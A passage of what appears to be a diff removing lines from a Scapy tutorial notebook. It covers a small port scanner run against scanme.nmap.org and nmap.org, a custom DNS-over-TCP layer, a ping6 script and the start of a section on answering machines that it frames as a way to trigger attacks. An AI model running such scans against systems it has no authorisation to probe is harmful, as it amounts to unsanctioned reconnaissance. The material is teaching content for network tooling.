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\n",
- "text/plain": [
- "<matplotlib.figure.Figure at 0x7f2c2c0b2fd0>"
- ]
- },
- "metadata": {},
- "output_type": "display_data"
- },
- {
- "data": {
- "text/plain": [
- "[[<matplotlib.lines.Line2D at 0x7f2c23b62850>]]"
- ]
- },
- "execution_count": 23,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "ans.world_trace()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The `PacketList.make_table()` function can be very helpful. Here is a simple \"port scanner\":"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 29,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- " 45.33.32.156 45.33.49.119 \n",
- "tcp/22 SA SA \n",
- "tcp/31337 SA RA \n",
- "tcp/443 RA SA \n",
- "tcp/80 SA SA \n",
- "udp/53 dest-unreach - \n"
- ]
- }
- ],
- "source": [
- "ans = sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/TCP(dport=[22, 80, 443, 31337]), timeout=3, verbose=False)[0]\n",
- "ans.extend(sr(IP(dst=[\"scanme.nmap.org\", \"nmap.org\"])/UDP(dport=53)/DNS(qd=DNSQR()), timeout=3, verbose=False)[0])\n",
- "ans.make_table(lambda (x, y): (x[IP].dst, x.sprintf('%IP.proto%/{TCP:%r,TCP.dport%}{UDP:%r,UDP.dport%}'), y.sprintf('{TCP:%TCP.flags%}{ICMP:%ICMP.type%}')))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Implementing a new protocol"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Scapy can be easily extended to support new protocols.\n",
- "\n",
- "The following example defines DNS over TCP. The `DNSTCP` class inherits from `Packet` and defines two field: the length, and the real DNS message. The `length_of` and `length_from` arguments link the `len` and `dns` fields together. Scapy will be able to automatically compute the `len` value."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 119,
- "metadata": {},
- "outputs": [],
- "source": [
- "class DNSTCP(Packet):\n",
- " name = \"DNS over TCP\"\n",
- " \n",
- " fields_desc = [ FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"dns\"),\n",
- " PacketLenField(\"dns\", 0, DNS, length_from=lambda p: p.len)]\n",
- " \n",
- " # This method tells Scapy that the next packet must be decoded with DNSTCP\n",
- " def guess_payload_class(self, payload):\n",
- " return DNSTCP"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "This new packet definition can be direcly used to build a DNS message over TCP."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 120,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "<DNSTCP len=12 dns=<DNS id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=0L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=0 ancount=0 nscount=0 arcount=0 |> |>"
- ]
- },
- "execution_count": 120,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "# Build then decode a DNS message over TCP\n",
- "DNSTCP(raw(DNSTCP(dns=DNS())))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Modifying the previous `StreamSocket` example to use TCP allows to use the new `DNSCTP` layer easily."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 122,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "Received 1 packets, got 1 answers, remaining 0 packets\n",
- "Begin emission:\n",
- "Finished to send 1 packets.\n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "<DNSTCP len=49 dns=<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR rrname='www.example.com.' type=A rclass=IN ttl=12101 rdata='93.184.216.34' |> ns=None ar=None |> |>"
- ]
- },
- "execution_count": 122,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "import socket\n",
- "\n",
- "sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create an TCP socket\n",
- "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/TCP\n",
- "\n",
- "# Create the StreamSocket and gives the class used to decode the answer\n",
- "ssck = StreamSocket(sck)\n",
- "ssck.basecls = DNSTCP\n",
- "\n",
- "# Send the DNS query\n",
- "ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname=\"www.example.com\"))))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Scapy as a module"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "So far, Scapy was only used from the command line. It is also a Python module than can be used to build specific network tools, such as ping6.py:"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": null,
- "metadata": {},
- "outputs": [],
- "source": [
- " from scapy.all import *\n",
- " import argparse\n",
- "\n",
- " parser = argparse.ArgumentParser(description=\"A simple ping6\")\n",
- " parser.add_argument(\"ipv6_address\", help=\"An IPv6 address\")\n",
- " args = parser.parse_args()\n",
- "\n",
- " print sr1(IPv6(dst=args.ipv6_address)/ICMPv6EchoRequest(), verbose=0).summary()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Answering machines"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "A lot of attack scenarios look the same: you want to wait for a specific packet, then send an answer to trigger the attack.\n",
- "\n",
- "To this extent, Scapy provides the `AnsweringMachine` object. Two methods are especially useful:\n",
- "1. `is_request()`: return True if the `pkt` is the expected request\n",
- "2. `make_reply()`: return the packet that must be sent\n",
- "\n",
